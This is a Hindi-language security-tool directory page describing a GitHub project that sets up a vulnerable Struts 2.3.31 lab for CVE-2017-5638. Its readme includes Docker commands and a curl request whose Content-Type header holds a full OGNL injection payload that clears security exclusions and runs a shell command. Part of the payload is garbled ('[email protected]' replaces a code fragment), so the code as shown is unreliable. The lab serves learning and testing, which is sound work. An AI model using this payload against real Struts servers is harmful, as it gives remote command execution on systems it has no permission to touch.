Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
vulnerability_struts-2.3.31 — Build the struts-2.3.31 (CVE-2017-5638) environment | Kitploit
उपकरण/GitHubGitHub/testpilot031/vulnerability_struts-2.3.31
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubtestpilot031/vulnerability_struts-2.3.31

vulnerability_struts-2.3.31

Build the struts-2.3.31 (CVE-2017-5638) environment

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
4 साल पहलेअभी तक समीक्षित नहीं

vulnerability_struts-2.3.31

struts-2.3.31 (CVE-2017-5638) वातावरण बनाएं। https अनुरोध संभव है।

वातावरण

Ubuntu 20.04 Docker 20.10.12 curl 7.68.0

सर्वर प्रारंभ

हम tomcat:7.0-jre8 डॉकर इमेज का उपयोग करेंगे। अपनी पसंद की निर्देशिका में struts-2.3.31.zip को अनज़िप करें। cd struts-2.3.31 sudo docker build -t struts/2_3_31 . sudo docker run -it --rm -p 8443:8443 struts/2_3_31

परीक्षण अनुरोध

एक (200OK की उम्मीद) curl --location --request GET 'https://127.0.0.1:8443/struts2-showcase/showcase.action' -k -I

दूसरा (200OK की उम्मीद) curl --location --request GET 'https://127.0.0.1:8443/struts2-showcase/showcase.action' --header 'Content-Type: %{(#_='''multipart/form-data''').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['''com.opensymphony.xwork2.ActionContext.container''']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='''ls''').(#iswin=(@java.lang.System@getProperty('''os.name''').toLowerCase().contains('''win'''))).(#cmds=(#iswin?{'''cmd.exe''','''/c''',#cmd}:{'''/bin/bash''','''-c''',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}' -k

विवरण

struts2-showcase.war नीचे डाउनलोड किया गया है https://archive.apache.org/dist/struts/2.3.31/

server.xml टॉमकैट सेटिंग फ़ाइल है। इसे ssl सक्षम करने के लिए संपादित किया गया है।

टूल डाउनलोड करें